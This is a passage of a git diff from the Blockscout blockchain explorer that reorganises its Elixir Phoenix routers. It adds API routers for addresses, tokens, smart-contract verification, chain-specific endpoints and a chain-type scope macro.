get("/siwe_message", AuthenticateController, :siwe_message) + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/routers/address_badges_v2_router.ex b/apps/block_scout_web/lib/block_scout_web/routers/address_badges_v2_router.ex new file mode 100644 index 000000000000..71b7571ac704 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/routers/address_badges_v2_router.ex @@ -0,0 +1,56 @@ +# This file in ignore list of `sobelow`, be careful while adding new endpoints here +defmodule BlockScoutWeb.Routers.AddressBadgesApiV2Router do + @moduledoc """ + Router for /api/v2/scam-badge-addresses. This route has separate router in order to ignore sobelow's warning about missing CSRF protection + """ + use BlockScoutWeb, :router + alias BlockScoutWeb.API.V2 + alias BlockScoutWeb.Plug.CheckApiV2 + + @max_query_string_length 5_000 + + pipeline :api_v2 do + plug( + Plug.Parsers, + parsers: [:urlencoded, :multipart, :json], + query_string_length: @max_query_string_length, + pass: ["*/*"], + json_decoder: Poison + ) + + plug(BlockScoutWeb.Plug.Logger, application: :api_v2) + plug(:accepts, ["json"]) + plug(CheckApiV2) + plug(:fetch_session) + plug(:protect_from_forgery) + end + + pipeline :api_v2_no_forgery_protect do + plug( + Plug.Parsers, + parsers: [:urlencoded, :multipart, :json], + length: 20_000_000, + query_string_length: 5_000, + pass: ["*/*"], + json_decoder: Poison + ) + + plug(BlockScoutWeb.Plug.Logger, application: :api_v2) + plug(:accepts, ["json"]) + plug(CheckApiV2) + plug(:fetch_session) + end + + scope "/", as: :api_v2 do + pipe_through(:api_v2_no_forgery_protect) + + post("/", V2.AddressBadgeController, :assign_badge_to_address) + delete("/", V2.AddressBadgeController, :unassign_badge_from_address) + end + + scope "/", as: :api_v2 do + pipe_through(:api_v2) + + get("/", V2.AddressBadgeController, :show_badge_addresses) + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/admin_router.ex b/apps/block_scout_web/lib/block_scout_web/routers/admin_router.ex similarity index 83% rename from apps/block_scout_web/lib/block_scout_web/admin_router.ex rename to apps/block_scout_web/lib/block_scout_web/routers/admin_router.ex index 7a1c328ba355..d452980ae9ff 100644 --- a/apps/block_scout_web/lib/block_scout_web/admin_router.ex +++ b/apps/block_scout_web/lib/block_scout_web/routers/admin_router.ex @@ -1,4 +1,4 @@ -defmodule BlockScoutWeb.AdminRouter do +defmodule BlockScoutWeb.Routers.AdminRouter do @moduledoc """ Router for admin pages. """ @@ -9,6 +9,15 @@ defmodule BlockScoutWeb.AdminRouter do alias BlockScoutWeb.Plug.Admin.{CheckOwnerRegistered, RequireAdminRole} pipeline :browser do + plug( + Plug.Parsers, + parsers: [:urlencoded, :multipart, :json], + length: 10_000, + query_string_length: 5_000, + pass: ["*/*"], + json_decoder: Poison + ) + plug(:accepts, ["html"]) plug(:fetch_session) plug(:fetch_flash) diff --git a/apps/block_scout_web/lib/block_scout_web/routers/api_key_v2_router.ex b/apps/block_scout_web/lib/block_scout_web/routers/api_key_v2_router.ex new file mode 100644 index 000000000000..8c656e6cedab --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/routers/api_key_v2_router.ex @@ -0,0 +1,30 @@ +defmodule BlockScoutWeb.Routers.APIKeyV2Router do + @moduledoc """ + Router for /api/v2/key. This route has separate router in order to avoid rate limiting + """ + use BlockScoutWeb, :router + alias BlockScoutWeb.Plug.{CheckApiV2, Logger} + + pipeline :api_v2 do + plug( + Plug.Parsers, + parsers: [:urlencoded, :multipart, :json], + length: 10_000, + query_string_length: 5_000, + pass: ["*/*"], + json_decoder: Poison + ) + + plug(Logger, application: :api_v2) + plug(:accepts, ["json"]) + plug(CheckApiV2) + end + + scope "/", as: :api_v2 do + pipe_through(:api_v2) + + alias BlockScoutWeb.API.V2 + + post("/", V2.APIKeyController, :get_key) + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/routers/api_router.ex b/apps/block_scout_web/lib/block_scout_web/routers/api_router.ex new file mode 100644 index 000000000000..218b3319adb5 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/routers/api_router.ex @@ -0,0 +1,599 @@ +defmodule RPCTranslatorForwarder do + @moduledoc """ + Phoenix router limits forwarding, + so this module is to forward old paths for backward compatibility + """ + alias BlockScoutWeb.API.RPC.RPCTranslator + defdelegate init(opts), to: RPCTranslator + defdelegate call(conn, opts), to: RPCTranslator +end + +defmodule BlockScoutWeb.Routers.ApiRouter do + @moduledoc """ + Router for API + """ + use BlockScoutWeb, :router + use BlockScoutWeb.Routers.ChainTypeScope + + use Utils.CompileTimeEnvHelper, + chain_type: [:explorer, :chain_type], + graphql_enabled: [:block_scout_web, [Api.GraphQL, :enabled]], + graphql_max_complexity: [:block_scout_web, [Api.GraphQL, :max_complexity]], + graphql_token_limit: [:block_scout_web, [Api.GraphQL, :token_limit]], + reading_enabled: [:block_scout_web, [__MODULE__, :reading_enabled]], + writing_enabled: [:block_scout_web, [__MODULE__, :writing_enabled]] + + use Utils.RuntimeEnvHelper, + mud_enabled?: [:explorer, [Explorer.Chain.Mud, :enabled]] + + alias BlockScoutWeb.Routers.{ + AddressBadgesApiV2Router, + APIKeyV2Router, + SmartContractsApiV2Router, + TokensApiV2Router, + UtilsApiV2Router + } + + alias BlockScoutWeb.Plug.{CheckApiV2, CheckFeature} + alias BlockScoutWeb.Routers.AccountRouter + + @max_query_string_length 5_000 + + forward("/v2/smart-contracts", SmartContractsApiV2Router) + forward("/v2/tokens", TokensApiV2Router) + + forward("/v2/key", APIKeyV2Router) + forward("/v2/utils", UtilsApiV2Router) + forward("/v2/scam-badge-addresses", AddressBadgesApiV2Router) + + pipeline :api do + plug( + Plug.Parsers, + parsers: [:urlencoded, :multipart, :json], + length: 20_000_000, + query_string_length: @max_query_string_length, + pass: ["*/*"], + json_decoder: Poison + ) + + plug(BlockScoutWeb.Plug.Logger, application: :api) + plug(:accepts, ["json"]) + plug(:fetch_cookies) + end + + pipeline :api_v2 do + plug( + Plug.Parsers, + parsers: [:urlencoded, :multipart, :json], + query_string_length: @max_query_string_length, + pass: ["*/*"], + json_decoder: Poison + ) + + plug(BlockScoutWeb.Plug.Logger, application: :api_v2) + plug(:accepts, ["json"]) + plug(CheckApiV2) + plug(:fetch_session) + plug(:protect_from_forgery) + plug(OpenApiSpex.Plug.PutApiSpec, module: BlockScoutWeb.ApiSpec) + end + + pipeline :api_v2_no_session do + plug( + Plug.Parsers, + parsers: [:urlencoded, :multipart, :json], + query_string_length: @max_query_string_length, + pass: ["*/*"], + json_decoder: Poison + ) + + plug(BlockScoutWeb.Plug.Logger, application: :api_v2) + plug(:accepts, ["json"]) + plug(CheckApiV2) + end + + pipeline :api_v1_graphql do + plug( + Plug.Parsers, + parsers: [:json, Absinthe.Plug.Parser], + json_decoder: Poison, + body_reader: {BlockScoutWeb.GraphQL.BodyReader, :read_body, []} + ) + + plug(BlockScoutWeb.Plug.Logger, application: :api) + plug(:accepts, ["json"]) + plug(BlockScoutWeb.Plug.GraphQLSchemaIntrospection) + end + + pipeline :mud do + plug(CheckFeature, feature_check: &mud_enabled?/0) + end + + alias BlockScoutWeb.API.V2 + + forward("/account", AccountRouter) + + scope "/v2/import" do + pipe_through(:api_v2_no_session) + + post("/token-info", V2.ImportController, :import_token_info) + delete("/token-info", V2.ImportController, :delete_token_info) + + get("/smart-contracts/:address_hash_param", V2.ImportController, :try_to_search_contract) + + chain_scope :optimism do + post("/optimism/interop/", V2.OptimismController, :interop_import) + end + end + + scope "/v2", as: :api_v2 do + pipe_through(:api_v2) + get("/openapi", OpenApiSpex.Plug.RenderSpec, []) + + scope "/search" do + get("/", V2.SearchController, :search) + get("/check-redirect", V2.SearchController, :check_redirect) + get("/quick", V2.SearchController, :quick_search) + end + + scope "/config" do + get("/backend-version", V2.ConfigController, :backend_version) + get("/csv-export", V2.ConfigController, :csv_export) + get("/public-metrics", V2.ConfigController, :public_metrics) + + chain_scope :celo do + get("/celo", V2.ConfigController, :celo) + end + end + + scope "/transactions" do + get("/", V2.TransactionController, :transactions) + get("/watchlist", V2.TransactionController, :watchlist_transactions) + get("/stats", V2.TransactionController, :stats) + + if @chain_type == :polygon_zkevm do + get("/zkevm-batch/:batch_number", V2.TransactionController, :polygon_zkevm_batch) + end + + if @chain_type == :zksync do + get("/zksync-batch/:batch_number", V2.TransactionController, :zksync_batch) + end + + if @chain_type == :arbitrum do + get("/arbitrum-batch/:batch_number", V2.TransactionController, :arbitrum_batch) + end + + chain_scope :optimism do + get("/optimism-batch/:batch_number", V2.TransactionController, :optimism_batch) + end + + if @chain_type == :scroll do + get("/scroll-batch/:batch_number", V2.TransactionController, :scroll_batch) + end + + if @chain_type == :suave do + get("/execution-node/:execution_node_hash_param", V2.TransactionController, :execution_node) + end + + get("/:transaction_hash_param", V2.TransactionController, :transaction) + get("/:transaction_hash_param/token-transfers", V2.TransactionController, :token_transfers) + get("/:transaction_hash_param/internal-transactions", V2.TransactionController, :internal_transactions) + get("/:transaction_hash_param/logs", V2.TransactionController, :logs) + get("/:transaction_hash_param/raw-trace", V2.TransactionController, :raw_trace) + get("/:transaction_hash_param/state-changes", V2.TransactionController, :state_changes) + get("/:transaction_hash_param/summary", V2.TransactionController, :summary) + + chain_scope :neon do + get("/:transaction_hash_param/external-transactions", V2.TransactionController, :external_transactions) + end + + if @chain_type == :ethereum do + get("/:transaction_hash_param/blobs", V2.TransactionController, :blobs) + end + + chain_scope :ethereum do + get("/:transaction_hash_param/beacon/deposits", V2.TransactionController, :beacon_deposits) + end + end + + scope "/token-transfers" do + get("/", V2.TokenTransferController, :token_transfers) + end + + scope "/internal-transactions" do + get("/", V2.InternalTransactionController, :internal_transactions) + end + + scope "/blocks" do + get("/", V2.BlockController, :blocks) + get("/:block_hash_or_number", V2.BlockController, :block) + get("/:block_hash_or_number/transactions", V2.BlockController, :transactions) + get("/:block_hash_or_number/internal-transactions", V2.BlockController, :internal_transactions) + get("/:block_hash_or_number/withdrawals", V2.BlockController, :withdrawals) + get("/:block_number/countdown", V2.BlockController, :block_countdown) + + if @chain_type == :arbitrum do + get("/arbitrum-batch/:batch_number", V2.BlockController, :arbitrum_batch) + end + + chain_scope :optimism do + get("/optimism-batch/:batch_number", V2.BlockController, :optimism_batch) + end + + if @chain_type == :scroll do + get("/scroll-batch/:batch_number", V2.BlockController, :scroll_batch) + end + + chain_scope :ethereum do + get("/:block_hash_or_number/beacon/deposits", V2.BlockController, :beacon_deposits) + end + end + + scope "/addresses" do + get("/", V2.AddressController, :addresses_list) + get("/:address_hash_param", V2.AddressController, :address) + get("/:address_hash_param/tabs-counters", V2.AddressController, :tabs_counters) + get("/:address_hash_param/counters", V2.AddressController, :counters) + get("/:address_hash_param/token-balances", V2.AddressController, :token_balances) + get("/:address_hash_param/tokens", V2.AddressController, :tokens) + get("/:address_hash_param/transactions", V2.AddressController, :transactions) + get("/:address_hash_param/transactions/csv", V2.CsvExportController, :transactions_csv) + get("/:address_hash_param/token-transfers", V2.AddressController, :token_transfers) + get("/:address_hash_param/token-transfers/csv", V2.CsvExportController, :token_transfers_csv) + get("/:address_hash_param/internal-transactions", V2.AddressController, :internal_transactions) + get("/:address_hash_param/internal-transactions/csv", V2.CsvExportController, :internal_transactions_csv) + get("/:address_hash_param/logs", V2.AddressController, :logs) + get("/:address_hash_param/logs/csv", V2.CsvExportController, :logs_csv) + get("/:address_hash_param/blocks-validated", V2.AddressController, :blocks_validated) + get("/:address_hash_param/coin-balance-history", V2.AddressController, :coin_balance_history) + get("/:address_hash_param/coin-balance-history-by-day", V2.AddressController, :coin_balance_history_by_day) + get("/:address_hash_param/withdrawals", V2.AddressController, :withdrawals) + get("/:address_hash_param/nft", V2.AddressController, :nft_list) + get("/:address_hash_param/nft/collections", V2.AddressController, :nft_collections) + + chain_scope :celo do + get("/:address_hash_param/celo/election-rewards", V2.AddressController, :celo_election_rewards) + get("/:address_hash_param/celo/election-rewards/csv", V2.CsvExportController, :celo_election_rewards_csv) + end + + chain_scope :ethereum do + get("/:address_hash_param/beacon/deposits", V2.AddressController, :beacon_deposits) + end + end + + scope "/main-page" do + get("/blocks", V2.MainPageController, :blocks) + get("/transactions", V2.MainPageController, :transactions) + get("/transactions/watchlist", V2.MainPageController, :watchlist_transactions) + get("/indexing-status", V2.MainPageController, :indexing_status) + + chain_scope :optimism do + get("/optimism-deposits", V2.MainPageController, :optimism_deposits) + end + + if @chain_type == :polygon_zkevm do + get("/zkevm/batches/confirmed", V2.PolygonZkevmController, :batches_confirmed) + get("/zkevm/batches/latest-number", V2.PolygonZkevmController, :batch_latest_number) + end + + if @chain_type == :zksync do + get("/zksync/batches/confirmed", V2.ZkSyncController, :batches_confirmed) + get("/zksync/batches/latest-number", V2.ZkSyncController, :batch_latest_number) + end + + if @chain_type == :arbitrum do + get("/arbitrum/messages/to-rollup", V2.ArbitrumController, :recent_messages_to_l2) + get("/arbitrum/batches/committed", V2.ArbitrumController, :batches_committed) + get("/arbitrum/batches/latest-number", V2.ArbitrumController, :batch_latest_number) + end + end + + scope "/stats" do + get("/", V2.StatsController, :stats) + + scope "/charts" do + get("/transactions", V2.StatsController, :transactions_chart) + get("/market", V2.StatsController, :market_chart) + get("/secondary-coin-market", V2.StatsController, :secondary_coin_market_chart) + end + end + + chain_scope :optimism do + scope "/optimism" do + get("/txn-batches", V2.OptimismController, :transaction_batches) + get("/txn-batches/count", V2.OptimismController, :transaction_batches_count) + get("/txn-batches/:l2_block_range_start/:l2_block_range_end", V2.OptimismController, :transaction_batches) + get("/batches", V2.OptimismController, :batches) + get("/batches/count", V2.OptimismController, :batches_count) + get("/batches/da/celestia/:height/:commitment", V2.OptimismController, :batch_by_celestia_blob) + get("/batches/:number", V2.OptimismController, :batch_by_number) + get("/output-roots", V2.OptimismController, :output_roots) + get("/output-roots/count", V2.OptimismController, :output_roots_count) + get("/deposits", V2.OptimismController, :deposits) + get("/deposits/count", V2.OptimismController, :deposits_count) + get("/withdrawals", V2.OptimismController, :withdrawals) + get("/withdrawals/count", V2.OptimismController, :withdrawals_count) + get("/games", V2.OptimismController, :games) + get("/games/count", V2.OptimismController, :games_count) + get("/interop/messages", V2.OptimismController, :interop_messages) + get("/interop/messages/count", V2.OptimismController, :interop_messages_count) + get("/interop/messages/:unique_id", V2.OptimismController, :interop_message) + get("/interop/public-key", V2.OptimismController, :interop_public_key) + end + end + + chain_scope :celo do + scope "/celo/epochs" do + get("/", V2.CeloController, :epochs) + get("/:number", V2.CeloController, :epoch) + get("/:number/election-rewards/:type", V2.CeloController, :election_rewards) + end + end + + scope "/scroll" do + if @chain_type == :scroll do + get("/batches", V2.ScrollController, :batches) + get("/batches/count", V2.ScrollController, :batches_count) + get("/batches/:number", V2.ScrollController, :batch) + get("/deposits", V2.ScrollController, :deposits) + get("/deposits/count", V2.ScrollController, :deposits_count) + get("/withdrawals", V2.ScrollController, :withdrawals) + get("/withdrawals/count", V2.ScrollController, :withdrawals_count) + end + end + + scope "/shibarium" do + chain_scope :shibarium do + get("/deposits", V2.ShibariumController, :deposits) + get("/deposits/count", V2.ShibariumController, :deposits_count) + get("/withdrawals", V2.ShibariumController, :withdrawals) + get("/withdrawals/count", V2.ShibariumController, :withdrawals_count) + end + end + + scope "/withdrawals" do + get("/", V2.WithdrawalController, :withdrawals_list) + get("/counters", V2.WithdrawalController, :withdrawals_counters) + end + + scope "/zkevm" do + if @chain_type == :polygon_zkevm do + get("/batches", V2.PolygonZkevmController, :batches) + get("/batches/count", V2.PolygonZkevmController, :batches_count) + get("/batches/:batch_number", V2.PolygonZkevmController, :batch) + get("/deposits", V2.PolygonZkevmController, :deposits) + get("/deposits/count", V2.PolygonZkevmController, :deposits_count) + get("/withdrawals", V2.PolygonZkevmController, :withdrawals) + get("/withdrawals/count", V2.PolygonZkevmController, :withdrawals_count) + end + end + + scope "/proxy" do + scope "/3rdparty" do + get("/:platform_id", V2.Proxy.UniversalProxyController, :index) + + scope "/noves-fi" do + get("/transactions/:transaction_hash_param", V2.Proxy.NovesFiController, :transaction) + + get("/addresses/:address_hash_param/transactions", V2.Proxy.NovesFiController, :address_transactions) + + get("/transaction-descriptions", V2.Proxy.NovesFiController, :describe_transactions) + end + + scope "/xname" do + get("/addresses/:address_hash_param", V2.Proxy.XnameController, :address) + end + + scope "/solidityscan" do + get("/smart-contracts/:address_hash/report", V2.SmartContractController, :solidityscan_report) + end + end + + # todo: deprecate in the next major/minor release in 10.0.0. Related frontend task https://github.com/blockscout/frontend/issues/2945. + scope "/3dparty" do + get("/:platform_id", V2.Proxy.UniversalProxyController, :index) + + scope "/noves-fi" do + get("/transactions/:transaction_hash_param", V2.Proxy.NovesFiController, :transaction) + + get("/addresses/:address_hash_param/transactions", V2.Proxy.NovesFiController, :address_transactions) + + get("/transaction-descriptions", V2.Proxy.NovesFiController, :describe_transactions) + end + + scope "/xname" do + get("/addresses/:address_hash_param", V2.Proxy.XnameController, :address) + end + + scope "/solidityscan" do + get("/smart-contracts/:address_hash/report", V2.SmartContractController, :solidityscan_report) + end + end + + scope "/account-abstraction" do + get("/operations/:operation_hash_param", V2.Proxy.AccountAbstractionController, :operation) + get("/operations/:operation_hash_param/summary", V2.Proxy.AccountAbstractionController, :summary) + get("/bundlers/:address_hash_param", V2.Proxy.AccountAbstractionController, :bundler) + get("/bundlers", V2.Proxy.AccountAbstractionController, :bundlers) + get("/factories/:address_hash_param", V2.Proxy.AccountAbstractionController, :factory) + get("/factories", V2.Proxy.AccountAbstractionController, :factories) + get("/paymasters/:address_hash_param", V2.Proxy.AccountAbstractionController, :paymaster) + get("/paymasters", V2.Proxy.AccountAbstractionController, :paymasters) + get("/accounts/:address_hash_param", V2.Proxy.AccountAbstractionController, :account) + get("/accounts", V2.Proxy.AccountAbstractionController, :accounts) + get("/bundles", V2.Proxy.AccountAbstractionController, :bundles) + get("/operations", V2.Proxy.AccountAbstractionController, :operations) + get("/status", V2.Proxy.AccountAbstractionController, :status) + end + + scope "/metadata" do + get("/addresses", V2.Proxy.MetadataController, :addresses) + end + end + + chain_scope :ethereum do + scope "/beacon" do + get("/deposits", V2.Ethereum.DepositController, :list) + get("/deposits/count", V2.Ethereum.DepositController, :count) + end + end + + scope "/blobs" do + if @chain_type == :ethereum do + get("/:blob_hash_param", V2.BlobController, :blob) + end + end + + scope "/validators" do + if @chain_type == :zilliqa do + scope "/zilliqa" do + get("/", V2.ValidatorController, :zilliqa_validators_list) + get("/:bls_public_key", V2.ValidatorController, :zilliqa_validator) + end + end + + chain_scope :stability do + scope "/stability" do + get("/", V2.ValidatorController, :stability_validators_list) + get("/counters", V2.ValidatorController, :stability_validators_counters) + end + end + + chain_scope :blackfort do + scope "/blackfort" do + get("/", V2.ValidatorController, :blackfort_validators_list) + get("/counters", V2.ValidatorController, :blackfort_validators_counters) + end + end + end + + scope "/zksync" do + if @chain_type == :zksync do + get("/batches", V2.ZkSyncController, :batches) + get("/batches/count", V2.ZkSyncController, :batches_count) + get("/batches/:batch_number", V2.ZkSyncController, :batch) + end + end + + scope "/mud" do + pipe_through(:mud) + get("/worlds", V2.MudController, :worlds) + get("/worlds/count", V2.MudController, :worlds_count) + get("/worlds/:world/tables", V2.MudController, :world_tables) + get("/worlds/:world/systems", V2.MudController, :world_systems) + get("/worlds/:world/systems/:system", V2.MudController, :world_system) + get("/worlds/:world/tables/count", V2.MudController, :world_tables_count) + get("/worlds/:world/tables/:table_id/records", V2.MudController, :world_table_records) + get("/worlds/:world/tables/:table_id/records/count", V2.MudController, :world_table_records_count) + get("/worlds/:world/tables/:table_id/records/:record_id", V2.MudController, :world_table_record) + end + + scope "/arbitrum" do + if @chain_type == :arbitrum do + get("/messages/:direction", V2.ArbitrumController, :messages) + get("/messages/:direction/count", V2.ArbitrumController, :messages_count) + get("/messages/claim/:message_id", V2.ArbitrumController, :claim_message) + get("/messages/withdrawals/:transaction_hash", V2.ArbitrumController, :withdrawals) + get("/batches", V2.ArbitrumController, :batches) + get("/batches/count", V2.ArbitrumController, :batches_count) + get("/batches/:batch_number", V2.ArbitrumController, :batch) + get("/batches/da/anytrust/:data_hash", V2.ArbitrumController, :batch_by_data_availability_info) + + get( + "/batches/da/celestia/:height/:transaction_commitment", + V2.ArbitrumController, + :batch_by_data_availability_info + ) + end + end + + scope "/advanced-filters" do + get("/", V2.AdvancedFilterController, :list) + get("/csv", V2.AdvancedFilterController, :list_csv) + get("/methods", V2.AdvancedFilterController, :list_methods) + end + end + + scope "/v1/graphql" do + pipe_through(:api_v1_graphql) + + if @graphql_enabled do + forward("/", Absinthe.Plug, + schema: BlockScoutWeb.GraphQL.Schema, + analyze_complexity: true, + max_complexity: @graphql_max_complexity, + token_limit: @graphql_token_limit + ) + end + end + + scope "/v1", as: :api_v1 do + pipe_through(:api) + alias BlockScoutWeb.API.{EthRPC, RPC, V1} + alias BlockScoutWeb.API.V1.GasPriceOracleController + alias BlockScoutWeb.API.V2.SearchController + + # leave the same endpoint in v1 in order to keep backward compatibility + get("/search", SearchController, :search) + + get("/gas-price-oracle", GasPriceOracleController, :gas_price_oracle) + + if @reading_enabled do + get("/supply", V1.SupplyController, :supply) + post("/eth-rpc", EthRPC.EthController, :eth_request) + end + + if @writing_enabled do + post("/verified_smart_contracts", V1.VerifiedSmartContractController, :create) + end + + if @reading_enabled do + forward("/", RPC.RPCTranslator, %{ + "block" => {RPC.BlockController, []}, + "account" => {RPC.AddressController, []}, + "logs" => {RPC.LogsController, []}, + "token" => {RPC.TokenController, []}, + "stats" => {RPC.StatsController, []}, + "contract" => {RPC.ContractController, [:verify]}, + "transaction" => {RPC.TransactionController, []} + }) + end + end + + scope "/health" do + get("/", BlockScoutWeb.API.HealthController, :health) + get("/liveness", BlockScoutWeb.API.HealthController, :liveness) + get("/readiness", BlockScoutWeb.API.HealthController, :readiness) + get("/multichain-search-export", BlockScoutWeb.API.HealthController, :multichain_search_db_export) + end + + scope "/" do + pipe_through(:api) + alias BlockScoutWeb.API.{EthRPC, RPC} + + if @reading_enabled do + post("/eth-rpc", EthRPC.EthController, :eth_request) + + forward( + "/", + RPCTranslatorForwarder, + %{ + "block" => {RPC.BlockController, []}, + "account" => {RPC.AddressController, []}, + "logs" => {RPC.LogsController, []}, + "token" => {RPC.TokenController, []}, + "stats" => {RPC.StatsController, []}, + "contract" => {RPC.ContractController, [:verify]}, + "transaction" => {RPC.TransactionController, []} + } + |> then(fn options -> + if @chain_type == :celo do + Map.put(options, "epoch", {BlockScoutWeb.API.RPC.CeloController, []}) + else + options + end + end) + ) + end + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/routers/chain_type_scope.ex b/apps/block_scout_web/lib/block_scout_web/routers/chain_type_scope.ex new file mode 100644 index 000000000000..9d9e5bee4e2e --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/routers/chain_type_scope.ex @@ -0,0 +1,44 @@ +defmodule BlockScoutWeb.Routers.ChainTypeScope do + @moduledoc """ + Provides macros for defining chain-specific routes that are checked at + runtime. + """ + + defmacro __using__(_) do + quote do + import BlockScoutWeb.Routers.ChainTypeScope + end + end + + @doc """ + Defines a scope that's restricted to a specific chain type at runtime. + + ## Examples + + chain_scope :polygon_zkevm do + get("/zkevm-batch/:batch_number", V2.TransactionController, :polygon_zkevm_batch) + end + """ + defmacro chain_scope(chain_type, opts \\ [], do: block) do + pipeline_name = String.to_atom("chain_type_scope_#{chain_type}") + + quote do + # Define pipeline if not already defined + unless Module.has_attribute?(__MODULE__, unquote(pipeline_name)) do + pipeline unquote(pipeline_name) do + plug(BlockScoutWeb.Plug.CheckChainType, unquote(chain_type)) + end + + # Add an attribute to track that we've defined this pipeline + Module.register_attribute(__MODULE__, unquote(pipeline_name), accumulate: false) + Module.put_attribute(__MODULE__, unquote(pipeline_name), true) + end + + # Use the pipeline in a scope + scope "/", unquote(opts) do + pipe_through(unquote(pipeline_name)) + unquote(block) + end + end + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/routers/smart_contracts_api_v2_router.ex b/apps/block_scout_web/lib/block_scout_web/routers/smart_contracts_api_v2_router.ex new file mode 100644 index 000000000000..37e1750f7542 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/routers/smart_contracts_api_v2_router.ex @@ -0,0 +1,81 @@ +# This file in ignore list of `sobelow`, be careful while adding new endpoints here +defmodule BlockScoutWeb.Routers.SmartContractsApiV2Router do + @moduledoc """ + Router for /api/v2/smart-contracts. This route has separate router in order to ignore sobelow's warning about missing CSRF protection + """ + use BlockScoutWeb, :router + use Utils.CompileTimeEnvHelper, chain_type: [:explorer, :chain_type] + + alias BlockScoutWeb.API.V2 + alias BlockScoutWeb.Plug.CheckApiV2 + + @max_query_string_length 5_000 + + pipeline :api_v2 do + plug( + Plug.Parsers, + parsers: [:urlencoded, :multipart, :json], + query_string_length: @max_query_string_length, + pass: ["*/*"], + json_decoder: Poison + ) + + plug(BlockScoutWeb.Plug.Logger, application: :api_v2) + plug(:accepts, ["json"]) + plug(CheckApiV2) + plug(:fetch_session) + plug(:protect_from_forgery) + end + + pipeline :api_v2_no_forgery_protect do + plug( + Plug.Parsers, + parsers: [:urlencoded, :multipart, :json], + length: 20_000_000, + query_string_length: 5_000, + pass: ["*/*"], + json_decoder: Poison + ) + + plug(BlockScoutWeb.Plug.Logger, application: :api_v2) + plug(:accepts, ["json"]) + plug(CheckApiV2) + plug(:fetch_session) + end + + scope "/", as: :api_v2 do + pipe_through(:api_v2) + + get("/", V2.SmartContractController, :smart_contracts_list) + get("/counters", V2.SmartContractController, :smart_contracts_counters) + get("/:address_hash", V2.SmartContractController, :smart_contract) + get("/:address_hash/audit-reports", V2.SmartContractController, :audit_reports_list) + + get("/verification/config", V2.VerificationController, :config) + end + + scope "/", as: :api_v2 do + pipe_through(:api_v2_no_forgery_protect) + + post("/:address_hash/audit-reports", V2.SmartContractController, :audit_report_submission) + end + + scope "/:address_hash/verification/via", as: :api_v2 do + pipe_through(:api_v2_no_forgery_protect) + + post("/standard-input", V2.VerificationController, :verification_via_standard_input) + + if @chain_type !== :zksync do + post("/flattened-code", V2.VerificationController, :verification_via_flattened_code) + post("/sourcify", V2.VerificationController, :verification_via_sourcify) + post("/multi-part", V2.VerificationController, :verification_via_multi_part) + post("/vyper-code", V2.VerificationController, :verification_via_vyper_code) + post("/vyper-multi-part", V2.VerificationController, :verification_via_vyper_multipart) + post("/vyper-standard-input", V2.VerificationController, :verification_via_vyper_standard_input) + end + + if @chain_type === :arbitrum do + post("/stylus-github-repository", V2.VerificationController, :verification_via_stylus_github_repository) + end + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/routers/tokens_api_v2_router.ex b/apps/block_scout_web/lib/block_scout_web/routers/tokens_api_v2_router.ex new file mode 100644 index 000000000000..ad161bc73084 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/routers/tokens_api_v2_router.ex @@ -0,0 +1,77 @@ +# This file in ignore list of `sobelow`, be careful while adding new endpoints here +defmodule BlockScoutWeb.Routers.TokensApiV2Router do + @moduledoc """ + Router for /api/v2/tokens. This route has separate router in order to ignore sobelow's warning about missing CSRF protection + """ + use BlockScoutWeb, :router + use Utils.CompileTimeEnvHelper, bridged_tokens_enabled: [:explorer, [Explorer.Chain.BridgedToken, :enabled]] + + alias BlockScoutWeb.API.V2 + alias BlockScoutWeb.Plug.CheckApiV2 + + @max_query_string_length 5_000 + + pipeline :api_v2 do + plug( + Plug.Parsers, + parsers: [:urlencoded, :multipart, :json], + query_string_length: @max_query_string_length, + pass: ["*/*"], + json_decoder: Poison + ) + + plug(BlockScoutWeb.Plug.Logger, application: :api_v2) + plug(:accepts, ["json"]) + plug(CheckApiV2) + plug(:fetch_session) + plug(:protect_from_forgery) + end + + pipeline :api_v2_no_forgery_protect do + plug( + Plug.Parsers, + parsers: [:urlencoded, :multipart, :json], + length: 20_000_000, + query_string_length: 5_000, + pass: ["*/*"], + json_decoder: Poison + ) + + plug(BlockScoutWeb.Plug.Logger, application: :api_v2) + plug(:accepts, ["json"]) + plug(CheckApiV2) + plug(:fetch_session) + end + + scope "/", as: :api_v2 do + pipe_through(:api_v2_no_forgery_protect) + + patch("/:address_hash_param/instances/:token_id/refetch-metadata", V2.TokenController, :refetch_metadata) + + patch( + "/:address_hash_param/instances/refetch-metadata", + V2.TokenController, + :trigger_nft_collection_metadata_refetch + ) + end + + scope "/", as: :api_v2 do + pipe_through(:api_v2) + + if @bridged_tokens_enabled do + get("/bridged", V2.TokenController, :bridged_tokens_list) + end + + get("/", V2.TokenController, :tokens_list) + get("/:address_hash_param", V2.TokenController, :token) + get("/:address_hash_param/counters", V2.TokenController, :counters) + get("/:address_hash_param/transfers", V2.TokenController, :transfers) + get("/:address_hash_param/holders", V2.TokenController, :holders) + get("/:address_hash_param/holders/csv", V2.CsvExportController, :export_token_holders) + get("/:address_hash_param/instances", V2.TokenController, :instances) + get("/:address_hash_param/instances/:token_id", V2.TokenController, :instance) + get("/:address_hash_param/instances/:token_id/transfers", V2.TokenController, :transfers_by_instance) + get("/:address_hash_param/instances/:token_id/holders", V2.TokenController, :holders_by_instance) + get("/:address_hash_param/instances/:token_id/transfers-count", V2.TokenController, :transfers_count_by_instance) + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/routers/utils_api_v2_router.ex b/apps/block_scout_web/lib/block_scout_web/routers/utils_api_v2_router.ex new file mode 100644 index 000000000000..04eeae92f2a3 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/routers/utils_api_v2_router.ex @@ -0,0 +1,32 @@ +# This file in ignore list of `sobelow`, be careful while adding new endpoints here +defmodule BlockScoutWeb.Routers.UtilsApiV2Router do + @moduledoc """ + Router for /api/v2/utils. This route has separate router in order to ignore sobelow's warning about missing CSRF protection + """ + use BlockScoutWeb, :router + alias 